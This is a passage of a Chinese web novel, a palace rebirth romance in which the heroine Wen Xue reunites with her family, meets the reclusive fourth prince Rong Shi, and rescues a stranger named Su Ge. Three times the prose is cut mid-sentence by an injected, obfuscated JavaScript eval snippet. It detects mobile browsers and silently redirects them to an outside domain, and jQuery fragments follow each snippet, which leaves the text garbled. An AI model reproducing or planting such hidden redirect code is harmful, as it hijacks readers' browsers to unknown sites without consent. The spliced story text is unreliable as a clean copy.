脑中浮现她笑意满满的双眸,令他一点也不想以这样的恶意去揣度她,可这样的念头却控制不住地冒出来,令他的心发慌。
他无法不用恶意与怀疑去揣测他人,以至于他从来没想过,这可能只是一个小小的玩笑。
耳边突然响起她走时说的话:“明日午时这里见……”难道连这句约定的话,也是故意说出来耍他的吗?
*
马车慢慢悠悠地行进,温雪半倚于车窗,柔和的春风自帘外偷偷泄进车里,吹得她脸上不自觉带了暖意。
这一切,美好得有些不真实。
温珩留意到,自家妹妹今日有些反常。
自打诗会结束,温雪这一路便有些心不在焉,时而还呆呆地望着马车外笑容满面,让他一眼便瞧了出来。
“怎么了?这是见到了哪位公子哥,春心荡漾丢了魂了?”
温雪收敛了笑意,无语地瞪温珩一眼。
不得不说,还真叫他说对了一半。
见自家妹妹竟是没有反驳,温珩宛如发现了什么宝贝似的,一脸惊奇,“咱家这棵小树开出桃花来了?来跟哥哥说说,对方是谁?是太尉府上的二公子,还是御史家的小公子,难道,是年少有为的少卿大人?”
这几位,可是他在求娶的公子中考量出来最优质的几位,放眼整个京都,也是一表人才,今日在诗会上又表现出彩,妹妹也定是瞧上的这几位之中一个。
只是他不知的是,温雪根本就连瞧都没瞧诗会一眼。
见温雪迟迟不答话,温珩困惑地皱了皱眉。
“都不是?可求亲的公子中相貌端方的就这么几位了……莫非,你是看上其他人了?”
温雪有些微恼,也不应和他。
温珩收起了手中的折扇,长吁短叹。
“哎,妹妹长大了,眼中有了意中人,便不将我这哥哥放在眼里了。”
“不过你放心,我家妹妹好不容易红鸾星动一回,开了朵桃花,无论这是朵烂桃花就是艳桃花,做哥哥的千方百计也要替你抢过来。”
温珩一本正经,信誓旦旦,让温雪哭笑不得。
她看上的这一位,恐怕还真不是他说抢便能抢的。
“哥哥,你就不要瞎猜了。”
撇开头去不理会他,揭开车窗的帘子,温雪探出头去,吩咐车夫行得再快些。
马车的速度明显加紧了,也变得更加颠簸。
轻笑一声,温珩眼带戏谑,“你叫马车行这么快,可是恼羞成怒了,不想面对哥哥?”
温雪看一眼哥哥,道:“想来这马车还是行得太过稳当,才没能将哥哥脑中稀奇古怪的想法颠出去。”
温珩笑容一僵。
心道,他可真是有位温柔体贴的好妹妹啊。
马车稳稳地停在了尚书府前。
太平盛世,国民富饶,尚书府又是皇帝钦赏的府邸,更是气势恢宏。
想到上一世,尚书府被抄家后的萧条景色,温雪不禁心中酸涩。
这是她重生回来第一天见到父母,自前世家道中落后,她就再也没有见过二老。
她爹爹是当朝的尚书大人,如今身居高位,却也是平头百姓出身,身边只有一位妻子,就是兄妹二人的母亲。
如今朝中官员,哪个不是三妻四妾,唯独温雪家中父母二人相敬如宾,举案齐眉,她爹爹时常被笑话“惧内”,也从不矢口反驳,如此感情,逐渐也就成了佳话。
也正是如此,温雪前世才不愿意早早将自己嫁了出去,非得亲自寻一个良婿。若非如此,她恐怕也没机会遇上容适了吧。
回到家中,早已备好了饭菜,桌上热气腾腾,香气四溢,碗筷整齐。一家人坐在一块,像极了寻常百姓家的光景。
看着这场景,温雪心中深藏的苦楚也趁机冒出了头,令她忍不住眼底泛了些水光。
注意到温雪的反常,温夫人停下了夹菜的动作
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15453217|169512||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,目光严厉地扫向温珩:“你小子,是不是又欺负妹妹了?”
莫名受了一番苛责的温珩一脸茫然:“娘,我没有啊。想来,是雪儿今日出去遇见了……”
“意中人”三个字还未说出口,温雪就生生将眼泪憋了回去,夹起一口红烧肉丢进温珩碗里,笑吟吟道:“哥哥你回来时不是说饿了吗?那还不多吃一些,嘴是用来吃饭的,不是用来说胡话的。”
温珩闭了嘴,闷头吃饭。二老相视一眼,若有所思。
这么一折腾,温雪想要落泪的心思荡然无存,目光落在了饭桌上,随意夹起一口,都是她记忆中的味道。
“果然是自家府上的饭菜香,比皇宫里的都美味呢。”
温夫人笑着给温雪舀了一口汤,“你这小孩,惯会花言巧语,你何时吃过皇宫的饭菜了?”
温雪眨眨眼,呀,糟糕,一不小心说漏嘴了。她不仅吃过,还吃了很多年呢。
所幸,温廷不赞同地反驳:“怎么没吃过了?你忘了皇上寿宴时,摆了一天的皇家宴席?”
温夫人愣了愣,点点头,“倒也是……”而后又反应过来,“哎,不对呀,就算是去过,可那是快十年前了吧,雪儿才六岁,还能记得些什么?”
被夫人一噎,温廷讪讪地转移话题:“确实如此,这么一说,年末便是皇上不惑之年的寿辰了,想必不久后就要操办一番,到时自然有机会入宫品山珍海味。”
温夫人喝了一口汤,嗤笑一声。“哦?咱们家是普通人家的饭菜,确实比不得山珍海味。”
“这这,粗茶淡饭也别有一番滋味……”
“原来咱们家这满桌饭菜在尚书大人眼里便是粗茶淡饭了。”
“……”
见爹爹一脸无奈,接不上话来,温雪不由得笑出了声。温廷立马瞧了过来,她这才低下头,拿袖子遮住了嘴。
温夫人瞪了演温廷,嗔怒道:“你瞧你,这么大年纪了,就知道让儿女看笑话。”
温廷哑口无言。
温雪赶忙往嘴里塞了一大口米饭,乖乖吃饭。
这种感觉……真令人怀念。
家庭地位已然暴露无遗,温廷便将注意力集中到了温珩身上:“近日在太学学得如何?”
天启重视才学,发扬读史明鉴之道,太学殿上便挂着皇帝钦赐的文书,写着“究天人之际,通古今之变,成一家之言”。京都里十几岁,凡是有些身份地位的少公子,基本都会被送往太学就读,因而太学里多是皇亲国戚、名门贵族。
温雪也是个爱读书的,要不得怎么在京都还算得上是颇有名气的才女,可惜她是个女儿身,学得再多也不得入朝为官。她记得,太学里学得好的,便有机会被皇上钦点为官,哥哥便是在一年后上任的刑部侍郎。
不过不论哪家子弟,总是不大乐意被父亲问起学业,温珩讪讪道:“尚可,尚可。”接着便不动声色地转移话题,“对了爹娘,孩儿记得,前几日国公府可是来府上说媒来了?”
接着便将视线投到了温雪身上。
顿时,温雪一口饭噎在了嗓子口。
5. 第 5 章
温雪是尚书府千金,还是温家独女,依着尚书府一家对温雪的宠爱,娶了温雪便是与温家结交。
加之温雪本人在京都,无论是相貌还是名声,都是极好的,娶了温雪,那是绝对的面上有光。这一年来,来府上说媒的人,自官家到商贾,都凑了个齐活。
温夫人不赞同地摇头,“国公夫人不是个好招惹的,雪儿自小就是个娇惯坏了的,要是真嫁过去了,定然是要吃亏的,我便婉拒了。”
他们尚书府宠自家女儿是出了名了,求娶的门户不少,上门来说媒的也不少,可哪怕温雪不松口,温廷与温夫人也极少有打心底里觉着满意的时候,说到底,还是心疼温雪,怕温雪嫁人了会吃亏。
知晓父母为自己好,温雪心头一暖,冲着温夫人撒娇道:“娘,女儿嫁人不急于一时,与其嫁给自己不喜的郎君,不如在家作威作福的好,我知道爹娘定然会宠着我的。”
温夫人笑了笑,勾了勾温雪的鼻头,嗔骂道:“你这女儿家的,可收着点脾气别让公子哥们发现了,到时候,你倒是想嫁了,谁乐意娶你?”
容适的脸不合时宜地浮现在温雪脑中……温雪叹了一口气,她对容适知之甚少,再来一世,她也不知究竟会如何。
他依然会爱上她吗?还是……另一种可能,她竟是不敢想。
用过饭后,落日早已西沉,夜幕低垂,一轮弯月悄然挂上了枝头,疏影横斜,暗香浮动,留下一片唯美的剪影。
兄妹二人一同走在回各自院的路上,温雪赏了会儿月色,便寻着机会责问温珩:“哥哥,你近日莫不是在太学闯了祸,才要在爹爹问你课业时,将话引到我身上来?”
温珩摸摸鼻子,心虚地笑了笑。
“怎会怎会,哥哥在太学的课业可是出类拔萃、名列前茅的。只不过……”
温雪一听,果然有问题,便继续追问。温珩叹了口气道:“倒也不是什么大事,但是此事说来还要怪你。”
温雪微微睁大了眸子,“又同我有何关系了?”
“你还记得早先来说亲的那位太尉府上的二公子吗?”
“似乎是叫柳川?”温雪思索了一阵,从记忆里勉强找出这个人的身份,应当是叫这个名字没错。
温珩点点头,“他曾在你出街游玩时,见过你几面,自此便倾慕与你,哪知说亲之事被你拒了,便失魂落魄地来向我请教缘由。”
温雪有些汗颜,她上一世怎么都不知,自己曾“得罪”过这些个京都才子了,便悻悻地追问:“而后呢?”
温珩挠了挠头,似是有些懊恼。
“这柳公子虽然是个书呆子,我倒是挺欣赏他的,便隐晦地同他提点了几句……”在温雪好奇的目光下,他无奈道,“我叫他多读书,只要多读书,他或许便有机会了。”
“啊?”温雪疑惑不解。
“哎,我的本意是叫他多去藏书阁,或许就能碰上你,谁知他当我是在羞辱他才疏学浅,从此……”温廷无奈地摇摇头,“与我绝交了。”
温雪眨眨眼,反应了一会儿这桩事件的起承转合,不由得噗嗤笑出了声。
太学藏书阁乃是京都藏书最丰富的书阁,从文史地理,到奇闻怪谈,寻常人家集不到的书,太学几乎都包揽了。
可这藏书阁唯独有一点,令温雪很不满,那便是不得随意出借,只有太学子弟方能阅览。
于是为了寻些稀罕的书籍,温雪时常偷穿了温廷的太学服饰,扮作学生溜进藏书阁。
可这种违规犯戒的事儿又不好向柳公子直言,哥哥便换着法儿提示,谁知,却闹了个误会,反倒将自己栽进去了。
温雪掩唇笑道:“哥哥,此事可怪不到我头上,若我说,就是你多嘴多舌,才咬了自己舌头。”
闻言,温珩正抬手准备给温雪的额头来一记爆栗,却听温雪捂着额头赶忙呼痛。
温珩瞪了她一眼,“我还没下手呢!”
温雪无辜地看他:“是吗?那,那你打吧。”然后认命似的闭了眼。
温珩敲打了一下温雪的额头。
“你这小姑娘家家怎么如此嘴欠?你就是这般损你哥哥的?”
他打这一下如弹棉花似的,不痛不痒,温雪揉了揉脑袋,一本正经道:“在我心中,哥哥自然是玉树临风、英俊潇洒,特别应和那句‘陌上人如玉,公子世无双’,只要……”
“什么?”
“不开口说话。”
“……”
“相信我,京都女子都会同我一个想法。”
“……”
得,还是被妹妹嫌弃了。
*
是夜,温雪躺在床上,侧身透过窗户呆呆望着外头的月亮。
怀秋走进来,走到窗台前,伸手就要将窗户关上,为温雪熄灯就寝,却被温雪一声令阻止了:“别关了,就让它开着吧。”
怀秋止住了动作,却是不解:“小姐,夜里凉,开着窗容易得了风寒。”
凉风从窗户徐徐地溜进来,确实有些许凉了。
温雪便松了口:“那便关上吧。”只是幽幽叹了口气,“只是好久没见到长成这样好看的月亮了。”
关了窗户,怀秋一脸疑惑:“小姐,这每天的月亮不都长差不多吗?况且今日也不是月圆呢。”
月亮都一样吗?可她瞧着,总觉得不大一样呢。
“那诗人写月亮不也有‘玲珑望秋月’和‘明月不谙离别苦’之分吗?我就是心情好,瞧着它好看了。”
听小姐说自己心情好,怀秋也笑了起来:“小姐说得极是。”
当初在深宫大院之时,温雪体弱多病,又心生郁结,夜里无眠,便是这样呆滞地看着屋外的月亮。
回忆起来,那不过还是昨日的光景,如今却是今时不同往日,瞧着也就自然生出不同的感慨来。
温雪回溯着这一日如梦幻般的经历,一边沉沉睡去。
在无尽的梦魇里,她似乎又回到了十八岁那个冬天。
都说“瑞雪兆丰年”,天降大雪,本该是个吉祥的征兆,没想到,一夜之间,一切宛如坠入深
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15453218|169512||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
渊。
“什么尚书大人!前几日,温廷已经被押入地牢,三日后处以大刑,哪还有当初的威风!”
“朝廷水深,欲加之罪,何患无辞。圣上不是向来听信尚书大人?受了多少恩赏,便是得罪了多少人。”
“倒是有理,皇城里的事,咱们管不着……就是可惜了尚书府那位小姐,生得如此出色……”
一旁偷听的温雪不由自主屏住了呼吸,喉间似有一股力,掐住了脖颈。
怎么会如此?她怎会,怎会听到这样的事?
她无法相信,他们阖家团圆的时刻,分明还是在几日前。
直到只身赶回京城,她才晓得,爹爹突然间被冠上了勾结北辽的罪名,被押入大牢,京城早已遍布了谩骂、嘲讽无数。
最可笑的是,她被哥哥送走,竟成了最后一个知晓这个消息的人。此事传入她耳中时,已然无法挽回。
她执拗地想见一面圣上,在皇城外的大雪中跪了两天两夜,终于昏倒在雪地里,被容适带了回去。
迷迷糊糊在床上躺了数日,待到她病好后,方知爹娘死于牢中,哥哥名上是贬谪,实则是流放。
一夜之间,她家破人亡。
自此,还留下一身病体,久治不愈,心里也留下解不开的郁结。
她崩溃地寻死觅活了几回,都被容适阻拦了下来,并被圈禁了起来,寸步难行。
这一过,便是多年……
温雪挣扎着醒来,竟是比昨日醒来时更不安。
不由叹息一声,这些事,就是在重生前,她也已经极少想起了。怎么已经回到了十年前,反倒梦见这些前尘往事。
既然命运让她重来一次,她自然不会让这一切再发生。
*
昨日同容适留了话,午时在百花亭相会,温雪便一直记着这件事。
用过午膳,换了一身简装便要出府去。平日里在家,她也向来是个闲不住的,见她简装出府,家中下人也没说什么,只不过暗暗奇怪,小姐此次出门怎的连个丫鬟也不带上?
春风得意百花娇,昨日无暇欣赏的风景,今日便可以自在游览了。
温雪心情大好,一早便到了百花亭。
她暗暗想着,上一世不曾与少年时的他有过接触,脾性当真是相差甚远。如若这一世,可以更多了解他一些,或许便可以解开许多误会,也不至于发展成上一世的悲剧。
这一世的他,会是如何?她这般私下里同他相约,倒是有些“私会”的意味……
脑中浮现自己曾在书房里偷看的那些个话本子,温雪不由自己先羞恼了。
不想了不想了……总之,不论是温家,还是容适,这一世,她都会好好守护。
如此思虑着,却发现日头逐渐向西偏移了。
天色也不再见好,反倒颇有些风雨欲来的趋势。
想象中话本子里令人羞涩的“千金会情郎”的场景并没有出现,她的心也逐渐沉了下去……
午时已过,而她却久久没能等到想等的人。
7. 第 7 章
这场雨虽来得凶,但并没有维持多久,便偃旗息鼓,收起了声势。两人一路沿石子小路走,清水绿草,在雨后显得清新了许多。
容适一路无话,安静得仿佛他自己不存在似的。气场如此低调的容适,温雪从不曾见过,不像张牙舞爪的猫,倒像只温婉的小羊羔。
“子安,”温雪唤了一声,打破了两人之间的静谧。
容适似是才反应过来,眼神一跳。
从没有人如此唤他的,脆生生的嗓音,就像在耳边挠痒痒……
温雪觉着他的反应,似乎有些局促不安,嗯……还有些可爱。
她轻笑一声,“子安,你平日里喜欢做些什么?”
片刻后,他才开口回应:“看书。”
温雪想起上一世,她偶有病症发作,夜里迷糊中睁眼,曾见过他在桌案边,摊着本书,撑着脑袋睡着了。
烛光映在他面上,也唯有那时,他阴沉的脸色才能柔和一些。
自回忆里出来,温雪笑了,“我也喜看书呢。你都瞧些什么书?”
“……《九章》《天工》,此类。”
唔……果然像是他会看的书,公子哥都看四书五经,独他,是看这偏门的书。
不过……“倒是好书呢,同子安你,颇有些相似之处。”
容适抿了抿嘴,好似有些羞赧,不知该回应什么,他几乎从未这样与人正常交谈过。
沉默良久,久到温雪以为他打算就这样一直缄默下去,才听他期期艾艾地开口:“你说我们是,友人……为何,为何要和我做朋友?”
温雪眨眨眼,如此提问,看来他还是不够信任她呀。该如何回答?
她暗自苦恼地斟酌了一会儿,“因为,你昨日帮了我,想来你定是个良善之人,值得信赖之人,我是真心想与你结识的。”
他理解了一会儿,才明白过来。
原来是这般吗?可是,他才不是这样的人,他并非她想的善人,根本没有这么好……
若是未来有一日,她发现自己并不是她想象中那般,会待他如何?他想直接开口告诉她,又怕她知道自己的本性,讨厌自己,便不敢再开口。
正当他不知该如何面对她时,只听温雪“啊”一声惊叫。
这时,温雪的脚尖似乎勾到了什么东西,险些被拌了一脚。
她站稳了,往地上细细一瞧,虽然不甚显眼,但她看清了,那竟是一只胳膊——沾了些雨后新泥的,从河边高高的草堆里伸出来,软绵绵地搁在地上。
温雪被吓得猛地往后退一步,身子靠向了容适。
她的身体刚接触到他,就令他不自在地一绷,但他还是没有后退,而是僵着手扶住了她。
“这是个人?!”
温雪有些讶异,这种地方,怎么会有个人?她凑了上去,就想拨开草丛看一眼这人。
容适想伸手阻止她,可触到她的一瞬,又赶紧放开了。
那只手动了一动,温雪当即意识到,这人还活着。救人要紧,她没花心思去探究容适的动作,赶紧拨开了草丛,露出了那人的全貌。
这竟然是个女子——还是个容貌精致的女子。衣服上沾上了泥土,脸上却是干干净净,虽然狼狈,却没能掩盖她的貌美。
温雪以手探到她鼻下,幸好,还有鼻息。
都说久病成医,她病了多年,也懂些急救之法,便取了头上的簪子,顿时一头乌发散了下来。
簪子虽不妥,也只能凑活着用。
百汇、人中、涌泉……温雪取了几道穴位,便下了手。容适在一旁看着她动作,沉默不语。只是将她的动作神态都看进了眼里,心中暗暗记下,她竟懂这些。
“咳、咳……”
几声咳嗽,地上的女子缓缓睁开眼,流露出几分惊恐,看清了温雪的脸,又转而成了迷茫。
“你没事吧?”温雪试探着问了一声。
女子忙起身,捂住胸腔,“我无碍,多谢姑娘搭救。”说完,目光从温雪转向了容适,停留了片刻,愣了愣。
“姑娘,你为何昏倒在此?”温雪不解询问道。
女子露出一个感激的笑容,“我不过是在此处踏青,不想遭逢春雨,路面泥泞得很,才失足摔了一跤,昏了过去。”
“原来如此……”温雪点了点头,扶起这位女子,“想必你身上还有伤,我将你带去医馆。”
说罢就要搀起女子的身子,却被她四两拨千斤般避开了。
“不必麻烦姑娘了,我可以自己走,不过是摔了一跤而已。”
温雪看着她的动作,心中总觉着有些蹊跷,却又不知何处蹊跷,便也不再说什么。
只略略搀扶着女子往外走,总算出了百花亭,坐上一辆马车。
车内,温雪见这位女子的面色并不是太好,便依然想法子搭她话。
“我姓温,请问姑娘芳名?”
“小女名唤素歌。”
温雪没注意到的是,这位名唤素歌的女子,回应虽刻意保持礼节,目光却是不自觉地往容适脸上飘。
可容适对他人的目光很是敏感。这个陌生女子与温雪给她的感觉并不同,让他觉得排斥。
此刻他坐在温雪对面,一言不发地看向车外,眉头不自觉地发了力。
他很不适,也很不满——不适有外人的存在,不满温雪好像忽略了他。
医馆在街市,马车缓缓停下,就在了医馆附近。
为了防止有熟人认出自己,温雪戴上面纱掩去面容。
她先下了马车,就要转头去搀素歌,却忽然被一道声音叫住了。
“雪儿?”
温雪一惊,这熟悉的声音……转身去看,果然是哥哥。
戴着面纱也能被一眼认出,也就她这位兄长了。
慌忙看了一眼马车,幸好,容适还没下车。
温雪赶忙鞠了一礼,眼神里有些迷惑不解,“公子在唤谁?这里没有雪儿,公子应当是认错人了。”
眼见温珩就要上前来,温雪赶忙先发制人,绕过了他就往街对面走。
若是叫哥哥见着了容适,依着他的性子,还不得立马传入爹娘的耳里。
她和容适才刚认识不久,再者他的身份也不一般,她同容适的事,还是不要叫哥哥知晓的好。
见妹妹的反常行为,温珩一愣,心下怀疑,却陡然间了然一笑,跟上了温雪。
两人渐行渐远。
容适握了握拳,他知道温雪应当是不想让人知道她的身份的,于是只好默不作声,直到外边没声了,他才往马车外看去,却只看见二人远去的背影。
温雪也转头往马车瞧了一眼,却只看见一辆停靠不动的马车。
马车上,少了温雪,气压似乎更低了些。容适眼神不动,似乎看不到任何人。
素歌也没料到会有这般的发展,不解道:“温姑娘这是……”
然而,她还没说完,就听坐在对面的容适开口:“出去。”
素歌一怔,似是没想到这位公子如此果决冷漠。
眉眼勉强弯了弯,讪讪地笑了笑,“多谢公子搭救,小女这便去医馆了。”
搭救?搭救之人分明是温雪才是。若是他,定然不会理会。
脑
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15453220|169512||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
中浮现温雪施以援手的过程,果然,她才是那个良善之人,面对陌生人都是如此热忱,就如面对他时一般……
繁华热闹的街道,这一辆马车里却像是另一个世界,沉寂得可怕。马车里的人似陷入了困境,迟迟没有动静。
过了许久,容适才想起来,这次见她,他依然连她是何人都不知道。
唯一的线索只有,她怎与方才那位男子似乎关系十分密切……
他的眼神似墨色的湖,凝结成了寒冰。
往后,他该如何去寻她?
*
回到府上,温雪脚步不停地往房间里去。
温珩却仍是跟在温雪身后,边笑边不断调侃。
“我道是你今日穿一身丫鬟的服饰出来做什么,悄声告诉哥哥,你可是偷偷与人私会去了?”
“自然不是。”
温雪有些羞恼,回答得果断。
然而不知为何,还是止不住有些心虚,总有种偷偷与人私会,却被家里人抓了个正着的感觉。
倒是……也差不离了。
温珩自认了解自家妹妹,见她这副模样,必定是有事瞒着他。
“让我猜猜,莫非,马车上有人?”
“……”
“而且此人还是你昨日诗会上认识的?”
“……”
见温雪不答,温珩了然地点头,看来是八九不离十了。
“诗会的公子哥,都与你哥我私交不错,你如此避之不及,莫非……是皇家人?”
温雪来不及反驳,正想惊叹他怎会猜得如此准,就听他自我反驳,“皇家人看上你,求陛下一个旨意便可,哪还需要你这么躲躲藏藏。”
还没等她松口气,便听哥哥继续道。
“说起来,近日皇宫里也有些八卦传闻。”
听到他如此说,温雪趁机转移话题,“哥哥说来听听。”
提起皇族佚事,温珩可是说得上是侃侃而谈,比说书先生说的还有趣些。
寻常人家不敢说这些话,只怕也就温珩这样的公子哥如此大胆,什么话都敢说。
温雪倒是不甚感兴趣,每次都听得恹恹,说来说去无非就是那些贵妃明争皇子暗斗的事儿。
这回,她却听到了一句“太子近日竟与四皇子同出”,立马吸引了她的注意。
她故作不知:“为何我从未听闻过四皇子此人,他究竟是个什么人物?”
“别说你没听过他,与你同辈或小辈的世家子弟不是没听说过他,就是没见过他。”
“这是为何?”
“皇家人……咱们不好随意编排。”温珩凑近了温雪,放低了声音,“四皇子……着实古怪了些,不与我们往来,诗会皇宴也从不参与。听说他年幼时,不会说话也不会理人,被当成是个智障儿……若不是太后娘娘疼他,他或许都没法在皇宫里活到现在。”
而后叹息一声,“如今大家私下谈论,太子不问政事,二皇子恐将争位,两派仕族必有一争。可这四皇子……终究是上不得台面了。”
温雪只觉心一沉,像是被人闷声揍了一拳。
“未来的事情,你怎能预知?”
光是听哥哥描述,她的心情便有些酸涩了,语气里带了些她也没察觉到的忿忿不平。
原来容适在年少时是这样的性子,怪不得诗会他要一个人躲起来。
从前她以为,他是九五之尊,因此高高在上,冷心冷情。
却没想到,他才是从来最不被人理解的那个人。
容适看着这样的妹妹,突然间察觉到了什么,沉默了下来,没再多说。
8. 第 8 章
太子府,中庭亭园。
石桌上陈设了不少水果,四周鸟语花香,别有一番意境。
容适坐在石凳上,桌上摊了一本书,却迟迟才翻一页。
坐在对面的容钦古怪地睨他两眼,咬了一口手上的桃,终于忍不住打破这幽静的氛围。
“四弟,依着皇奶奶的意思,你这几日不是该去太学么,怎的还日日往我这太子府跑,还带着这猫,人人皆知,我最讨厌猫……”
容适扶了一把差点从腿上滑下去的雪球,翻了一页书,头也不抬地回答:“皇奶奶说,要多与世家公子走动。”
容钦嗤笑一声,显然不相信他这番话。
“你何时听过皇奶奶的话?况且你来了太子府也是这般一个人待着,只有本太子能屈尊降贵耐着性子同你说几句话,有什么意思?”
此前应皇祖母的要求,带他去诗会。他自是知道这个弟弟久居深宫,孤僻古怪得很,却没曾想,他竟是一到现场就独自一人跑了。
虽说此前他便发现,每当自己的目光一落到他身上,他就要不自在地躲,却是没想到他畏生到了如此地步。
见容适不再搭理他,容钦便也不闹他。
瞥了两眼他看的书,若有所思地勾了勾唇,将注意力放回到桌上的水果。
百无聊赖之下,叫了几个女婢上来,又端了几盘坚果瓜子,便翘着二郎腿,一只手肘搭在桌子上,掌心里捧着瓜子,一只手抓着往嘴里嗑。
若不是他相貌生得俊朗,恐怕当真会被人看作地痞,让外人见了,怕是怎么也不敢相信他竟是当朝太子。
容钦倒不甚在意。
在外人眼里,他本就是个不学无术的草包形象,作为太学辈分地位皆最长的学生,唯一的作用便是办办诗会,为大伙儿尽尽雅兴,他不仅半点儿羞耻心也无,还偏生引以为傲得很。
平日里姿态要做足,在老四面前,这些便无所谓了。
良久,容适忽然出声道:“大哥府上的丫鬟,都着不同颜色的装。”
容钦很少听他主动说话,此时却从这句陈述中听出些不寻常的味道来。
囫囵吞了手上拿着的苹果,容钦才抬头瞧他,“合着你来我府上这么些时日,也没留意到我府上丫鬟的打扮?”
容适摇摇头,不明白他为什么要注意这些。
一想到他这弟弟的性子,怕是平日里他穿什么样的着装都不会留意,容钦也就不惊奇了。
“你大哥我在京都同辈公子里,可是出了名的风流倜傥,怜香惜玉,即便是家中女婢,也要着装明丽,尽显女子青春面貌。”
容适总算从他的话语里筛出自己想要的信息,流露出一丝失望,“没有素色服侍的女婢?”
“自然是不会有。”
太子回答得果决,容适低下头,目光停留在一处,久久没有说话。
许久,他有些不自在地开口:“何处人家的女婢……着素色服饰?”
这下好,容钦似发现新大陆般向他投去目光。
容适被他戏谑的目光刺得浑身难受,起身要走,却被他一把扣了回来。
“我可算明白了,你是为着一个丫头而来吧。”
怪不得,他觉得这个弟弟这些时日变得与刚出宫时有些不同,却又说不出是哪里不同。
容钦勾唇,“要寻个丫头,还不容易?”
听闻此言,容适果然立在原地,却在听了容钦的话后再次陷入了僵局。
他道:“既然是哪位公子家的丫鬟,能遇见一回,便能遇见第二回,只肖你多往那些个京城公子处走动走动,迟早会再会咯……”
说来容易。
外人或许永远不会理解,这些对普通人来说算不上事的事,在他身上却是困难重重。
*
“小姐,你已经看了几日这本书了,便不能换一本吗?”
怀秋看着温雪拿着手中这本书,有些恹恹道。
“怎么,敢对小姐看什么书指指点点,你这丫头想做小姐的夫子不成?”
温雪合上书,故作姿态,怀秋登时就蔫儿了,赶忙惶恐摇头,“小姐,奴婢不是这个意思的……”
猝不及防地,温雪刮了她鼻头一下,“逗你呢!你这丫头,怕是因着我不看那些奇闻逸事之书,没人给你讲故事了,才如此消沉吧。”
被小姐说中了心思,怀秋耷拉下脑袋,“是呀,奴婢不识字,只能听小姐讲书里记的奇事……可小姐却看起这等无味的书了。”
温雪看了一眼手中的《天工》,无味?枯燥是真,却不是无味。
“那不如我同你讲讲,你日日吃的白米,是如何生的长的,最后到你碗里的?”
怀秋听得愣愣的,“啊?小姐,可这些事皆乃农户所为,您是千金小姐,怎好扯上关系呢?”
这大约是多数人的心思罢,可身为黎民百姓,怎会毫无牵扯?
温雪摇摇头,正要说几句,就见哥哥来了。
自那日提及四皇子一事后,哥哥便没再拿那日的事打趣她。
她知道哥哥平日里虽不着调,实则于她聪慧许多,也不知哥哥觉察出了多少来。
“雪儿如此勤勉看书,这是让在太学的哥哥我情何以堪呐?”
温珩笑吟吟的模样,与平日无二,温雪也自在起来。
“既然如此,哥哥不如回太学用功学习。”
“你可莫要再损我,否则我可不会告诉你,今日太子邀请了世家公子夜游。”
温雪合上书,不解地歪了歪脑袋,“夜游?与我有何干系?”
温珩在她身边坐下,自在地拿了她剥好的橘子,边吃边悠然道:“此次夜游地点,可是在画舫……且我听闻,四皇子也会随太子前来。”
画舫……
温雪登时神经一紧,这画舫之名听来文艺,实则同烟花柳巷之地无差,以舞姬最为出名,是许多道貌岸然的贵公子中意向往之处。
容适的性子,也会应了去这种地方?
不对,他连诗会都无法适应,又怎么可能会去那等热闹的地方。
这其中,定然有其他缘由。
“哥哥,我也……”要去。
“不可。”她还没说完,温珩便一口否了她的想法。
“……”
看着哥哥离开的背影,温雪心里的小九九活跃了起来。
既然将此事告知于她,那她便断没有听之任之的道理。
夜里,画舫,于微湖畔,烟波浩渺,灯火摇曳,映照在粼粼的波光之上。
画舫依水而建,亭台楼阁,颇有一番意趣。白日看着荒凉,可一入夜,此地便成了皇城里最繁华的地方。
可不是人人都爱这般的热闹。
人声喧闹,在容适耳中宛如沸水炸开,充斥脑中,令他极度不适。
他心中怨怼,没想到大哥会将他带来这种地方,若是知晓,他绝不会来这。
“名门世家的公子就喜此地,今夜没准就能见到你要找的姑娘了。”
容适却是极为少见地主动抬眸瞪了他一眼,压低了嗓音:“此地,怎么可能携女眷前来。”
容钦眨眼,似是没想到,四弟倒不如他想的一般好糊弄。
他轻笑了一声,“见不到也罢,你这性子,在这等地方都待不住,往后见了人家怎么同人家交流?大眼瞪小眼吗?”
这一句话,刺中了容适的心思。
他不正常,自小便是,他心底清楚得很,可从未想过要去改变什么。可遇见她不过几日时间,他便萌生了想要改变的想法,哪怕只是一点点。
“皇奶奶可对你抱有期望得很。”
容适垂下眸,默不作声。
待他们到了月理楼,楼中已然坐满了一片人。其中大多都是那日前来诗会的少爷公子。
“台子上怎的如此清冷?”太子皱眉,不满质问。
下一秒,华灯初上,琴音四起。
“素歌姑娘来了!”
一位身着红纱,衣袂翩翩的女子踏着素琴声而来,腰肢细腻柔软,似云间仙子,也似人间妖姬。
